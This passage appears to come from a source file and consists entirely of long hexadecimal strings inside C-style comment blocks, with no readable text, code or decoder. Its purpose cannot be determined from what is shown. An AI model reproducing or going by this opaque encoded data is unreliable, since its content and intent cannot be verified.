93eab35ffb62171a6545d661eed7cf99430e8df3b2e70f494ccc096427d05bce4da669c039c65c4612143d4edc66822131795bbdff389accfb8e3542c87d1c0eb3d7ece3d86175dd07e40a5f99f69630ca736f4a5b5d1b105438107535d85eb3776f1ec8ad70ec603fc4ff1a08a09fca06280fd098a8aba28ad2823da723c6539d254d5e118d72d5b06baf266ea49e7046e4568600bc9370b0ab1d61c529e9877fc8d0236af8fd35eef123691168077bc7d0e8dfa3c9956f0c21b4acc18a12786734c07d6035fb085d850129449c54365ce463909dd4d1b331b2019b991ef3e5c932a9f43bea62b5891950e29fc90fc60066104c2075b8824172c682f38ddf515e7c66292a4e84295960b6b337fd3f2c7beea7ee2f6cf247adcf2fe4a39472a14410ac0c78877d6a75f9657e1bd03832da481f05a64ecfdbf82a6fd441d66a3cbffc664ac8201f967949c9f8e17cda5f5196a478d9669bb2459af8ee0456c6ba6f78cb839731aefb05b80475741f534d525d831c9a67ce0037874707db901650bb3bc7ec6f6429f9270a9869e642254b3129ec32703729a018ec5061ef07cc5725e1dfe6ba40cc58bb43a3cd83e4762cd610d35ef13a59fd888a33eb7ecd0de54d4c9199f13461aa33392b6c3034a3ce6163de64886e20f9acc0e4e6acec6129012e454cd1df21625b79887fc3e79b7565c6f803fb4ed570602350540e4134621f9aa858a5640b9e1eadcbcb4fcceb6237af659a621d72b784ce40a453215954b37c092e5355186ccd5106795de8936c7de551a995599eed4b6291d9f046310b32d0f1c994c3334892fb805e2830b1bb367a88335d3ab6e6ca7d1a578779ed363f52b050adf2072ceed96c6c80fd25847385eb198c7cbfd2b5c86e29c494238e6bfae86b292167a0700109ecb09024c5d051b44fb5104b7a9f3d15016644e4d9e1b800549eeac00bcc650d138d73644f1581c1bf5806e19d0935b8176688abdebd68261114ac8198ebe9154bd898b1e6e3a23854e05e800bde094358ca5c75751d8f58dc7351090bf4c5eae373c67af542e81c1b8f8f0bd4c45f39292217c2ed8050dc87a5d87a93b9fb13092dfa67de648d53ddde69aae294f81d5c1a15bd48e396fe7480a1fe64a9bbc3618bbfd12d23f5733134292215e220a92dca44e1af0c4a95e5*/
/*339476de2824fb516aeb661865be9afb19f679328a88853e6b712318ad835a6a633d24961cb02457eb9ea97166c771714d3b0cae08f1b46d3e715e7e115d2d0864a077c910e9f5be4ff71e21c14a68cd2672ca6fa3bd410cd3703fd39571c1e44edcbfa75a3013074213c9225efc9354a3a9450c8d6cc11369cc160c47161779c12146590be7853d4aa888d2190b9fb6e4cff2b40fcde9237a3b93849e5b2b131b996d7f7c5c4f2c5f66c72f313a3290d7f8214bc6ee0f361a46a2b1f88067be4bba3779fe6b739fbd9d99c5f0384ae8ca690ac5b1ac0032279e78b1888d694ef1be9c2b1ec2ea89e60fe112263299c9c1dc05238ed82078ad68ed2400b027c3f091bdbd3d20b83d2cb4904d68fb20e71c9c0a91f22dab9dd302fc1af2788e75b07105984653a0315fdc5d13e72b4558dc3df6cb94beae666b98f1c704ca3bb16a995c87e680fa6577b0589513b8016bc9bed4515d9c8115cbccdbf2b4cc79953963898407d18cbebc92dcc6ff36c8eae60bb83292c42fcdc6813f99fd14c087bac8478ff0f279c8e614c5524f37c06ff26d963061959cd0464212e2f91aaa6424e5ec8be13c72eb35611f4edc322d6e7713aac739eb1c6a5b29ba937926aa6eb65086bbbe07b995e9207bac11b11e0051fb3f450cd6691c989fa6b91957ac569592088d3a1dbc8e98c3b01e3304a019716e9aa4aee7aa2fab2333495339285f39224c91a97a0ec77615474c64a7f02d67f0a7bea68946f1e1ed9f4d4bd723b57386dbc82dc826f0fb5705e69d2081bb0d2c1d64b8a61c9cc47619b4e7b19ecbb4a58b0e550a46d494fe27806fcc3211b0433899a8559f1439da042af0f53c561920f424f9ea68ee53f1073291347fe9d20287c5479943131828d3305f6489ecc021ec4b969dbe113970642fd6c20f46224c9f8b49ad4e474aa68f88d5e79308caff529817fa1776fc62b34bdaf8a6fdf14fac6633a9b1bdadb3036e47483a2285ed8798a7cc6fd94e60999c8f14cb24156b70276354e46cf0779d3a9f0a0460e4487a0c63eb065ba1593d3652104df70fdc60d6db3659e8877a792414a355c1c71f93aee04479962e30fb6817226ee80098f1826a37a79d22ad58379a7c2c0deccfa025a2aa577496aa858d20f3164b821b005452fcbd8c70880a391904a683f85f107867911f173edfaf78334dde1d31ddb182f3795b9e87ad1e4408510ea7a5abf8e0dabba8a0e6e12d894c33bb66c46d28b7d640c4b6e423cfef0e406ed17a179616e2c9e2ffedc3481b7a0ed8359529d9b56c098d16d070aac4476a89a79f7c14472acc31940024ee143876655e6e9b9799ed5575a992967533dc7e9745096e3836742974e713d4d21c690ab04b44c8ad8ad99a5fa8052540d8809ae6bf8e0af66e575c46e81e74c0f95288d30505fc2911dee6efe864a0984fdc0ae95bb6e13a8b40cb5bd9a7f4b3d8d82ed80a8280f320af0a86e7a816a1aa4536f2af66e87176e05447a506c53d3dbd147ea3df505d7b13cb28bfc0c09dc05dc202bfcb5665b326407e3a28ff622626265ab6eb41da2f8cee8e228a2d04a264fabc689f2bea3ecb7885de13a6b00fd33272230fe9b1ff6122116b36e2022cbf2fc182b395d1dab0e45183612e72ad3dd991ee50f9bdbcb6fb30aa4e3eb877c746d449adfdd1d7a84fdc2b9070e290b4f9d180b8e66a9500944b169c15523e204ffa2b922eeff777092181b5236cef6ff93531bcc15230d0c6fb22a092f4366fdbca26d89ba26f303d3d56f9a676edaf71393c5ca2638fbe4752c48184adfd796f1ea695e1d4e258c75dc5bb1d265a05de9aad30e73cd36b5a43a5c6e2321a281b59eaa05eb2acdaafb940331595e44b34094204a8786a1e7cae4ed424e1468b94ba374b9eb1dc72744557a4cbc1385d8f1874ede4130f786995acd5ef9eb5d0977b12d2acf613d769482e5ba1cfc353607b3cfbfeb657363bf6cd6608a6d73accecbb33dff55a4f382a5f64b4296ce42315516479f008978119b98e74c36e9f82c128f27cd9d10313e4741a744c1435f4cb980eb19f395e82d90f8ed4bc604e15b795014f6a28260a125a66b9643577ecae984812062c2d524a2a29fda169977194531b37c184b33d90112586fc7f3881c8199548ddc6b11376578092cafc78ad118e2d423b4ad3da484e90de56f527b87f969a3797ff442803f9381066ddda5c4ed177a4820cf06390fb008975f4085354187151a7162dc9f5f1ffdc71d1844af4254046f8d083f87917598463057d93d952b9bafd6b2449b0b21cad5f2ac8c015d36442808183e735b3a4a2fa96364e0ccc1351873b6775f35f100ac9136578a9d8b84ee9ef7fc550b500df8c70c741a052cb79b50e02143c2fe29083caaeb765508de8fc8bf7ad18819fc669aeaf93a9dc2a4a18028ecf788e8086d46f4bcf1fdfbcb090aa8e72d7ef198f9db67ed1b195798d1faab69746fb843b30f6f996b6ea25bea3a45b154d48ae27d31513780db1d15f9ee5e0d058be4f9f8e69670da53371e67d50c2a9b74080d50b8820b51f8c434a6fba75d12dde697fef6ca2aca51b71562311cd998ff23cea88b1d58a278cc6c4f91e9ee6ebcf7fe66b6be605e85df8649f3019a01fb1d25b6ab0ba1cfbeb3bc903184b8d2370fcbb3c1c4aa35808045ae3e9a8692612c19a213fa7a8617d5f0b9b52e02969936621e25c71719715f1b273c82d6879b1b4e46ca651d48982d7cff95f3b9d5878291c7efd5a11661f41337d185566ed180a9748dae4cb68f66c114f04238de31d8abfd967beb990a4e772ed5b524f6ec2666a74ce47b36ff4*/
/*2659f22b6858aecbb2fb783d5b7d184fefb6c33c903a51ee70eb20905cc2d79606a87a712c960020fbc5915a00f3b13fcaf6f25ce3847143d495cca9a29ea480aad95034d66738c40867cf1dd9b9bbe0fc2a6246705d7bf1174ebafa9eb41b66332eb19d3dc0eba541d016bd84be02ddb41eb80901f6d3456e4a3e89deed621b6c05749aa3def6bdb7159f5d5dd253ded5cd42a558eb49be21d746e86b4b47324d28ba00ce5a7da0bed38be2b530bba6c024d94d61b81cc6982d337caaf341ea2077aaa5d26c99d83a653220d22165bed97df22290fb2cf58ced2bfddc1decf71899ef78583d28abb5881fed2dcc875241cb6d7ffa3a98116d652dfe838e0fe6e1ebb91eb4fbb0a190d2347b4e8f04ac1fe14f2c2bcee6aecea4e003f8474a6a2101b13a76168c85dde62c3ce5be4b679e85c7be877ed9c12bb9ec044e2cfe0ab9eae416b2d5ec5ca64daccdaa064ff2b6ff990da3f4ffa3c8f41d06c2fa87c473cdf846e57c1f7530e0a044d6d81f294160b7516886d4aaa5bc9fbb68833a2702ab791ffa3935260bf01c723133ca328083e14bb02c77846578ff1e17836398d91231a33d5862e45d940389ee7bf514f22da5ee89b0046b35e6bca00d006786c707ff4b9ef23b5848d14f761895ea61a68bb4e2416c006f543dca8350377c65dc77e11129952f1ba680b47004c545007f4f6cd948c3765128cce14f04aa9e621e4bf9548bf2f11618c07209bfbe5f935593313d8ee7448ba404238aca67e66cadc1be922d6649c70df6c05f6531f0a4bf2019fdb430c841054ae29067ec2910aebe4261aa47a76243a3854f5fcd874a21b50a85383bd99152d1dfcca93371ecdbd32dfff0e086fe4f90bc5bf046ecc8f555663366664690efc970d12fafd63dcf150a5f9774ec8269a7d7ad6583da19d752ff21dca33376598216056e06b1531a083d8146061fab27712986500bb6ca198d30cd453142e1bae767e25e683953aa1566d0d24d33b93de7b835f97a13cba161d5808e8552d01b5318f00378cfe73f3a686449b742abba6d3dd794500fca42b4c340ea48689599c5df4b483b030c29ecd7d443ae1854678ae0923a54180fe08289c15c8613116e3b1f9a158c6745742ca9bdf7585a7059f37f7fe5836940600278217e182208c04294fc6c1bbe6ecf09a7c58cda5661f6e56bf650ec284fc0a0b030d1519a25aca2eecd27d4a15a50af71e1a5aa532ee785b623a5ee17edd0cd71828826ef515700908875255811204e84c0b8ce17d5b2b9d667f71b1952e98c1df2b3eab37d18f9cb06a7d0077641a92a1b8cd558f8efc1e6728b370c57a9d82f62a32ac70fd391c1e4d3f7d9227f61c9ef69a3c097cf0eb7137ccc95271b63547728477844fb57720eb7a436832d92c310f70f17445b4bddf74487a5994c90c95d4da7efbe4acdcbe60abf8909df565ece573c29ea20971f28ceaff13381520358a0f7dc40bd19387fa4f6faf87f51afaf7f6ffc3a811f5d474104400ca44d02b3aa283e3805be1e78e8cb9c7214267043297c7212258fb118d6fb10d61b0906cf4e93ed3e44ff7d86951cc4d1a56046be6d70b50fcad170ede9a2a60c5240d38bf5a66facad935d241f6c236cfe0947491ed7d75ea11ee652e373290858548e55a51a6037613a99e6071d6dfe00f8b3ed005f0ca6cd7685642d04052bd8ec055f40b8c344cdadf123b3436a0f60835b7de1f12349d2efbec2afaeec57d0407ea24342e5845be5cb35058ec88b9032f8dd4ab6b419d104f7f44887541c41b3103ab746d83868fee8015ccdd3cf35f8f2a98e4a28cc5c5027f903d661e8f0275df890534156fe6696a4a6f20db8a08ffbfefd422405db9acfb700b4df0ee4ac4002f28e33c20c577405814c9546000425141643d2a1a1da1773fde9ac2eb81e7d9c2f692920cbe0f0b15c4e6f6483708accf4516ae9a26713345988862718f75f0d9dc6da2f945e769dc24412c247a1af1d0edb638f0ca71e283eff5879d83a8e34c5b5b953a525b48b737fd8e30e4b8cd01186bc764694c51ccb698f0dd22d4b00229a473871fd8a1518d3e206e8454f0ba5531acbf9d14a11e0b2557255e9cb9e9b292ed3a37f0c7a1347be3b4997c9e337f97f6bc7dc796ca88aad740035c994b30d64a8ff7a0cb6c0e5191a0f78666e12becddfc9a1be2126d47437b16d24bc4dfff38311f0f1d8d84212d294a4108a72963daf6f9c0a93445085ad851a1ade9258ea830093a3eed85b7cf04f122f23cf5311be948eec0beff761e7b532c3085ea1f27131502f109ceebf677ec92652335196e67a7ac89fbced27a8ba949bd7e5b3163b09ee801cc6602d97b52f648f8efac0099edff0f41cda0b11f09aa1fba1b161b436da7543603b80089f42f951867aed951370b560aecce1260d63c4a7a6274a9aa9983f9ab186f3ce96972c5513c1be5e47e037c51bee81f96fdc4e009a7cc11b80090ea9ea288244dd922ce2897ec4cd1e7cf9e292039e05b7581a6f1fa4ec6beeb3647e265f423fae20a0913ac7190bdbdaa4b1fca50556322d48e0d0011bff02940f0f8129616d4a1cce72e69d7dceb4152074a9f4d05f6430abb654401ccb2aa7fe6e96c1840f53d518010369845c545677e83c4c5de127a6c126b6b4087c6bf666640c5ae4cec2dd994415eb33b1f3dfd0b0a1433f45d282c454fd68c850a250082b07318aeeb8c4f3dc2afdd7ae14920228c40dff17fd5f05355adddf9a0bb8b45b21cd2557ed94a10c01ed99b3dca26b250712afb154732ffe1eff65a08bfd19110edd02aa739d7351f975cb9e2ad77cb9c6457573*/
/*f480ffbdb81e9100a36caf8fd74a1c05c0bd5226746f727578186ccdb0688f97abc092cd4b8815f9027190ca5a6cda40a0fd7fbab7b64316de6dbd2903ecadf601f87aa83cb7cffaa170b58e079bc832a7b42f4ff56ef640e020f97650f5da624f7a0d5cfe1f24af467a327007a1e5786f792a19a8881cbf74a803c02d4558ed9fc86fe0bc24061bd5df489d1b2fc3af2e1c37d4739b4986da6f2d5dedb4fda4917fa2e0f3137b914bb26ce63b5a5379ecbae06e5120fc56d7a15d8538e37f63564635b088f1b18414ca6afaa7285d90f1eb7a6ae7b3e0427a441d035013b222697a371b0047fef69d803e4c950cbed32d8fdcb1a69abbfff9fae812b7f4d7fce543a95c1bb7b843d7e8b297de1c48be47d4e8a4c10f93b2c1019a1bf35c7b83ceef993161209e5e1af2c1b2ae1e102f75e6abbefcd8152e68976478f3d803679140205cc54b7cc60c8e8520e93afad502bbd0df2799817930b07aa002b8565cb18df02d459a90f16c4252a2bd71b059decfc046fbd63c17c7ae98cf3c39b21711f3c7c7e74ec3d86dd6e96647caa2766cab4b88042106cdadfb5174059f4820cf1ba787489350e49af6081da28f9f4036bc162a425ae6b55729631dc99fc16bcae4d3c8d62791c0e8418295bca6ab363d637bebb8b94eedff2abcde6b5c1d391286c0dda7b5eb07f859e9e95dd170a3f36ef29f926761d5c1dfe0a0b2464e3854a7df214e26636e5488a9d4208fdf672149c01dac28f70b8fda7ef8a05b46e3726f9aa32bdd842a6531a6e026cba42f3c2e684c0911c2e78688058d40b335e8f537a1a9879669fa67c19ed634fa4973ee60b83da4c71ed799360d59487a924d3fd06acaa0c4e20ed109ffcb1d9bdb4acafc8bb7fcadf29fc43e3ffb922254f2766c6f9d4f1f9f65eed0ae9526a4cc04f8a8cd1667f9efe3655069c8a84a0cf9a03135e31eff16cc338e5fcc6fb86d73447129adb286474e879eeaa0f9ec068848934b8932771ed94bb28206eaef640529e50f6665dcd1cc8f3d0da744b51dc89991abe8279e7a7b0d9b8a361982f16a779ec2f4ac48d823221fd91d129fea3628064a56113731f3190c0387d280931d1433b8f5b8d4d7bc84c0b09182b92dddc655a67ffc0e47009e5ed67ec4047f303be6dbd234a13feeb851c1f4b6e11b5ed8421b43bef7e025a00800143aeaeaa36c3bb1542a503c924089838cfc24f11e995d3336a11c75e8429c2ac80d3210ddee5965dd9bf5c3a44f97ed7fc798b8f388929351b3840c4a662a0c6b0559c1a20d55d859a134d34ca6b65ef59d6ff067d42ea2e5d74915c15c7c5b45bebb2904261009d1783797dc85a7f5d126c9b2980c2b03cf826c4c1b9cfca5910f739e2fd5102b042a586758b7390cf42cc5d608e85ef6690fc6546b192eeb0d118f9bced5fec170cbcb2d9eab1cc48f11bdc59daecda28281f2676670c555e5cb19382db8c5438fd2db39749f5aac92e0e420e80508758e408d6c25b438502c20068d5188a321f2fbdac1c39934394e2211740ed7bd2cb00c7d76336add307bd2ee4f5d9d2c1d2acb2324e5d4f3d236ec5aa4130846e855e938406ded0dbcccbc37f69466e672a2f5fdb2fce4ba13a7ca0e7561330d3b3e17bf813c232d53122f4321a29a54fc31ef1295740e801e63403288332c434808b142816a8b6abecba04937a2f5b54241d680def46a536b357d2e4df22f9fc9b47708f3045569db2d8e5644bb4fc7127e3c0fc5942e8859edd0111f090184854e57fd58466bf2ecb4603a16cedbc759903f6480c50de62a6fe30f6c1e4007b5826347f80f53de274bf3b1035458a4918bbeb0281753337b3ab51aa63d15329f97272f6df4dfac5215f6702100c858ac2b55057953e1c5f930e0178df358a11ff97ab85ad25f794112040bd7c0ccfe9d4077a94083cf4d9422272bb7ad22bb7a8a0e035977f1108492b1e13eb7d88156e505c4ab1501ad137bfd5bcac6dcbcc4aadb57d8aa46633877dc2e0766c43d4153ba204b6343e0f5811c46b592463bc37c1ebc4e2e60afd30a04194e8eebf360c56f5bdbe3e37270a6043bd8989096210a31ad32584e266a63a2db9e6aef1fed56b900263cbf3f60500bee14786c610174a58bf31b5a1b8803775625a481861e3cb23602879880acab90340051efcefd4dc17ff4abae240d3c81fab00167027663b8e42f278f2b0bc5523232971828bc08b2134e125a7dc3f9522c091a748a787b81752629eb1597fe03c8ec418df833ea4215046e690f2cfd9b364898bfc7d5289233e976f1ce1ff1c51f2c63880a7a0cde94eded51678a33c2717e9b5b95a8a8d0c6d9a715fcc0d6106a092d64ef7a45982d1f27a5ab0ed7d76c8d82fa77d44429bd7723a3113b335aa638fcff13b8f338e3e137e8a38264e10680afe2cacca6dacb73560934f6d278f113aef7d3007e6f6a775d46d89fd38827ab00a8ae1bb0e231fde79ebeda09566e5386ab3f068c49e8230457d852abd44309a0c739cb0005a5b028aa31a72ce71209723a2868834010790b437d45e1c33724874f1f5fd352f162c5775447820433e1bd97053ecbb3fe8ccd436809de5280077018fe3e5fdfc3f6921fc5b4ec5e77d9a4930199f7a71030080c04a8c186bce7701fa02db431ed60aa505037a7cdaf6db3a1957b54d0ae497c64da20090a51228b7e00bd7faa8e9fac3b0339ea5c434d95377dd1b1291b7ee9143dc54d3a80cc1aeeb9deada0dddba84b928cedcd7dd037320237ebe4843e4b8975bbcc8568ad30d3d52b8678f2eff8844842eecc3d94f4fc9b6442a554f4b82d2a6100d2534318*/
/*0bb73988a75ac4caf8ea5be4c747c749890ef1d6b819d48fc6c9f9a80b9c3831278c0f226ac422b886449e26e1a7d3154952412573b687bdad8c146e30e6385bc455154bcd07124007cab121abf63c10010c772ff72cf0a5476ff2223be1daa4284c956c6aba16ea96ca71addcf06a581f10df8a5570fcc76aacd59393ce6026529f5216f40d5d61ab691cd6b87e2851048f9b2c1a0533da5a1ffb3225d8eb5d096df402a909223f3ad4a743a47e4c8d9e24935bfd4cef79346cc945efad2adc21d3e77fcb053976ad586cb0fd2e0b4a502a4d7efa3d10a9446186d3b0f1e8392d2e59a9d2e2dac4686fa39b020e78d4038c383c1329d131cbc42457e58f93064859720e5e1d7f5225fda495df296a6349aa86d78eba44843422b8799a1bb7a2c8bacce95438619c7f62a496726f97a284feb88e87133d8162328a116d96f7669910c7a7c5864544bbd09d3bc4ec1ae8ce3135fe12ebce3a5f6d5b64efa70ffc298f3b0c4a1ce6860461d2b92be85262644345e6917a296f014269ddfb2cf1389c8f38f277f205594c4077af99120a4ac896ae5d92a40db48f0f874f1eeacf736bc2944d758c31fc7819e0c584da57dcdcb7797d131f6eb4bafce7e19d44bf68d78ee17af2f68c32e60f8c219082c981b7c5ec07ee32ab3140263e73553508d4b20a2e0b4fe9e5c5c7f0aaad3d6d3ae87d21a56880da1f065043a8875e8e025b7921d3623dc6003a52db4db5a77f627225da9f2dab6bc00dedf491b284ee0eb570657ed5f00fa1a01b9299ee180fa50e59794c2585eae530ef87ba28a8fc457347a63764bfaa04bee8460b4bca05541743a5b220f84d2d3761f96a36eb3f3dad8dc3c0580c427b6a0e02017aad05e4963da49551ed5c1a0ab1627c8f6358a73bce1692e20ca162ae4b8dd023dd40264c04964f3fa13ea1a50e084e97c5621c0fbe662f93fc66f5c1bf50b11e9b989cf070b3e1d3d57aaccd508320fed59d5c5540dae539e48da1db77b797608888c503e9c882963c6a9264a8fe50591d9b1de12a1d2e14a546025c802b4930fc79d7113a9e9719098a2c0f36d035feafdce17f1509017e673a3b73e6961f1fb9d1b152e823398807faa6b99494b830caf16b89ebba2f19c1cf2325edc49882e3b16fe3310d8938360a06ca405290cc463ecc46189c2c3702becae5f5a28d14b4de69b69e99a9997653558f1147056426666a09863f632d4225883b03aae20909eccf4e5b173f5041d6d4eae7aeaa168bac6ca235e52bbe2e59814e0bd2f357966943f7e7846fa205c78a5bf257858684a7964a9fbce5e0026faec54bcab6404070bed5fec069aa1615a90e00fa5c7c738f94a5a726924f79166ee76e2dd55233c4ed1b513b2a3e3942737760b7df80bc0618c788eb97c6cb7bc540e90ce671b825b45b94b7388478a381bd7744cf64a13eda77c466829dc9db135052ffe8ca05f1f92dd81bfbc41a8c2ceb302bd457ebd30595240a93dd5ba5998549507c463f325553581dcff1e07c1329b26d1fa0e370f883a781294c4515ddfecbfe05781c334a93951d577b4c1646520144228de76d1357455a6601a94f2730f99f00661a6f7987d1de3dcc540d76311f85be21051f02c3458094840d118eb2f29137b26884f18008b8da2005c8bfb4003f31e5dacc71dfb50dfc5e17730019554781cfd9ed76b87e699cca635eb86a2ffd0792c124589ee984dbebc56199e3db278d76c44a25a7bfde9bdae2b42ea6652afb056d283fe6f78d87af54a0fdddb935b71f776f2dd0a06fe81637971bab11b07b0f5e94c1aee82ec625fb2ca47f4f0ea1e06a544f48fef74cb82f5f0e9a37cc947a4f05e6fec1fde61410358f4e2a06eb56f495e77f1cb75642ddb357a94b5c6929c758cc07bc882e0adaf0539c338188162efcc7e44f57214b112aaa966d036e1b914217d81109233ee1dfb65de0613d712a74c5f1c5c68a9b0e1f688ecddeef90a2ab96aebdafad201afe77d4c0f9fcd805cc1c10f703fe4af1ed84b057410a10f460dd362e74179c78320f89bd544e95b09089ff4dfa7f39e083e3d3871bfac5620b354e246fcddb509ff65a5159f0557f07a02df0ada747e6db585bb48769f922e293363b0aaa54266a9f09f00a891341389237173be8d5cca7f0ccfa262c827d1e7d40f73cc83943827d103c5197e1edb25472a4a8cacaec6552fbd56fd089387bf1936bbb539a4c0d5617b6e1d76816a0458c8d375a1b12570477cbf7f6f87d0d8e1e22db683ed49909558740882a1648f1777e1ff51fbd297d880cb4964112d874a8a49034dd0cda99f2c7806f0f4723fcc01471baef3c9d8499882395cacd28ec629faee1bb0d54ea8530d84bb2cbb36f97c619bed10e264a9129a9269e669fc67c162e9296cd01716931a133bd7cf144c7271feefe45725f6bb0ebc1491a94d680333fc66308a4f9a89914ec43687c2c3a64b47c3f58f77cf87b120bf36d2eba6031bac176b6b1185f30b15afc343a1e04c8c584d9a53fdd5523cfef686cee4b2cec447750785e16db0056d986fe6a5846916d041f11971fadc65d6fd355ee420503de181eb626a59c6e6f4ada4924c56ad2acf8af2ccd49a3180d81aa4502cc142b22428059bb36842bf1276151d230a0d6274baa24f6584e6c3a32f34e43b107027b074c29b0731d397db04ffb3e31bd38a98fe87f2103f212c4bc60292b70d3591ed1f03924b0cd19c72f98df816f2ece2c10864b66240ee7cab68945d0bdb7f7351af4e9cbf254a7ba87737d1af6bd474493d2c46a6f0f2425c40342c0b71b4d53016f77811530985a13509ed85039*/
/*939bfbd11b4c06872c7ab1bf8e5ec1f4f23b5ff745ddba4c3f79f7ad25910200b23d6ffb6e1b27841c2a8661ce52381609b3aa79e20097d909c0006a2a59ebf02919c807a9493127ad36f740bd770246c4da5100587d272c00dcea6ec17e1ae9b604efe1348d8bc50d189e4e7054b1e0f779633b2dd786054672ed09d464ad93b98e1d2ae2550f0e6c45a3c1dffe9816aafb399cb973cd19f1bfe82c396e3164bafd8660fb042b8ff595b4f0b698d3be972bf52abda30c3822b2823dc71583e3d0698023776688d98a5fc4c6eb2f9c51175c25c55732e7f7c557f7e80be383280ba6fc34fa08047369492f1444040dac2291187c7a9757e4736827555cf297c37736be428bd28bb5adbdb1805b7cce0b3a6bbf23663deda19fab156273a465f0594973664204a4999e21fbbbea0928c25581a9521c32e7ea242bc642ad2388fb6b3e4691f8785d0895e633e1a22a087ac5d90344d8612d299bd8884068d1578c66471d915f5d54d01b0c3f3de4dadee9b7baeaadc5175427045fa2c607f5c77ece5b66f1286e3e2b53dafa9a8405eb76917686fe7389d3871d2a9c43feee0d87d987967aba62d85a8955c46bff0100af8f5f59e1bcb8496d573e02ce1a98f9db80d0019c2f326e272eab4a084d91ba9ceadeb63ecdd8b29377c4d3fd55bbb15cf05f37b30ec8da237b1c4024a26f618e879ab63829cbeaa345b4e19170b0dedbd4c4cdfc944b71b7f7632fd7a8ef34d5942d98e711b49a35162f9050acda72af055f863277b09a2a6b7d9801822656207c37eea324adb664476fa89366fb37326ab1eeacdbf04a5f0d7649dbf618be0969974b26859f3911dd1b79180ae6eb017bcc7ce8c58bbf82772cc9cc8fd419477aad56824e362d4f3cc202c5c439bf16ebd13489a7c3420c621b4ee3dd5abcfbe6ad66ff546e75578f6ed5fee7c7d8a01f0ad5ea9ccf57cb69ac9bafe66c2f4886c159f072a96cca0c617cca1683458d2227295e0cdf41340fe28a4212d1865307e59987128a6c952eba6d74801962209f32f93665caf637756fff905ff6d943aa32b37f04dd17bb5d2e6127d1106b2d873d4077dd8daa393951a01f70ecd64fd544ffea701115dc4d36f7d555e2e673ce6ab6310e51556f65e4771ea5b2cb3a349eda5a061cdc2714419ffb6551de4608a83d2a22867cba2cced934eb8453e67a7514118108eb804de5da02861fcb49327e8670b5feea56c80a859e47a0beae836a9ba039f391045b91ef9299af1baf8a0e6c5b7b485e116f73eaad2a8669fbde93a4219a3eac3ac9244621b73fcb0b0d2cd277aa635538cc356aa17ca3b0f913e2c611aea00b706a01d23bb217df03e9272cf891340cbd2d8962ca6e2078bfb46b5af96b540d822796ddbbdd184040aa0a8385c91e4a92bab858ae5893c36c5332970b9fda7b3660d85ff7cec4b0f9d373191a9aa7f0f2d35808ac97ecdf4080f560a74e31fc54092a5856cb8c168b5383970f0c936c77b98f7502a24436717b75d06a932c2a4621b774ea5b8d053ae588576a780d19e2b5e2df39a8daaf5574fc5e7e0dfa573b5ba8192b92ec2e9d6878ab9c151ce26bcb7e22a7aa37d9c11e8282c0237f8b9f7761a521639922154d854402b99b69fc8ed9eb242d57f130659806f1afed06244bb4070bc8c0d916eb9f52b2ee5d763f7f9c5df76723a8580e91fd026cb61cef9da4af7124ea3c2b6543f8aaf2f5487819ecc50269484ac47d8f46fc3fc27087e6faa8fbafe9e91cc009804a31f389ebc63aada20085b56e7f78b380ee24cfe421436ff56dbaeb1b565f9e2ecb8fc5542c37959bace881aa93d896dac919e4fdbf13ca5208d18f428c8815729f265078c50ba452f32b7ccfd0057c9761123a69376c825e21be7bb6ecb2f0219a0d2c615b491f76e4c03fcdaee98097c5154fd226731721e89628f09b02ee8fcd45d46856731fcf6c12e9d048c433ef7abfce41fae2a31e51d9ecdc66ea97b248f768cfefd245afaa4f919c0b7f787e286a32d73e04faccced153113acc96c553d585e1cb2fe813d84e348b9583773d074a0e4b3be68a215c035ce006d4dcaa32300a5ac7434ff126ec1f0515dc6c73db8dbcc053bbf9cd22c3ce2d90078a080d0f0dae00e3d5b04aa2ba2fbcfe411c19a6fc415ba1dca1891b441ed4e8712d5d49930c961633058fe6482c6b3778775c5737c60ee2a2798acbb864d00a6d3b11baa84949be2685005bcf078e7bc4071e97e20477fc37621330d7c3434629990e7e70946cacd2dd95e9dd8a8e296b2f88f73f5aabbb34b30a0e23dbb9cdfb87a3f87adc3b5e574fef30e36c39906dd748962e09cfeea03a8e786590f188c83dd4708b50c07b7ab3a1cca580cff5acf096ea23fad7740874cb6ed67acfc0f8e6e0ed8b166d5e5040951e994aa2270150041b41c8a359fa6dd5816dc41bfc6fc66b8e86dd6ade3359c67bc7a5004ae430ad17ee6f50e995d34c7929cf89aeb769fa24747b3d7f8f4637b09b2b8cf5e0c47761f2a5f56698438c6db302b4a547a7f63d919d6fad070778f0ec4ca00c700d59818a66dac873b4086627dd70fd949b83fe727374fd8b0c2ee146c550fb5cfd960b99ce7c99aa59f096b3dad8b5aa7331f89b5180fc6515155655321d4047bd8654f0f084d44935814af2b53fa4ea69ec6101d42105564ecc5725a7b69635fd902dcb8482d5f4218726389798fe39b577fc1f95feb8604794f8bb462ca987b973bf246ba36939cf9edf43d0488e862e22c1f5fbfc110784d79b9bb519fa7d5d1b4dd6ef7996af6495e0d2eede3069f3747aec3be29c4ea3fa5af58e*/
/*c724c4d14448646d5301a47d109b169a4315652312ada319243f4851dab4281665d8b12eeca3d22689e21df0d16df0f821f84c55d901aef49ebb78aeea3c87a0f4f182fa4f781f7b85225a33a204641cdb8217f0c65cf0e3d379cda2386e04f8308714a2b65d59646c75130475d11b79c280a1dff45d99cfae0a1c03a99f8338acc7ed672b42d654eed2915c87f8982b964bb0be086f255f8fe20814bebdff2a76bfd7331fdf48564001c9eec5faf7f43c759bec1841605653ca592501bb88eba8ed7017731d729692aa603df192f67a88132b839cb0bf763c90ed36a473bdd2fd4a7bf13e4f1a9b2cdf649aa7c5948f908486339f9b46cae5db84afcc469e8e6a71cc9ee6d4d8f74068828682f04d0937e0977e06d34751c2ed25e32d5d4005e5e583c90198d83149755d5463f738e8f520c317d453296da4d4445aab9416160b079ef4c7deb2f9e4d00b4c1a02a7dfd7caba880ba15c07ec0f83219a4a7b85abe8093c8594e155910702853a9c1014f6e2253ff5890e3c347b415673a526cd2e9136138459d059f5d0182b5fafdcd00ff4700f564f26119bc1960901e1c920d3be2910e8772717b78f4933c54422eeabc6608c7cedc9c7add3728f3b329b6c6b922ae2281007a26c2efb735871d26ed26cc565563fbe2d45898179aad2c986e912d3390316d95432abd44cb89ed65fc87466f727127c56f3aef85fcd95166f36d51770d6f41cb7c843fbb4e5c449c76b229b14cf9b0fd705bf389bcc51c164c9c136fcba7f0beeffcbd8b6eb09e1c2d0506a5aac4d44729c8146719434b0ee875da7b02c790111f307fa8c2e268e841d02bfb25cd2f06d77857dce88664e984f8154e26917ccf43333da4c4a58584262f39957029c94d3e379ceb180406de972c6890fa3b76c4487e0e98d21351556e50e7f91b224927ab9cfcd6a5ad44afcb711c160c7b18972f4fea4abc454f65072b8eedd4b837c2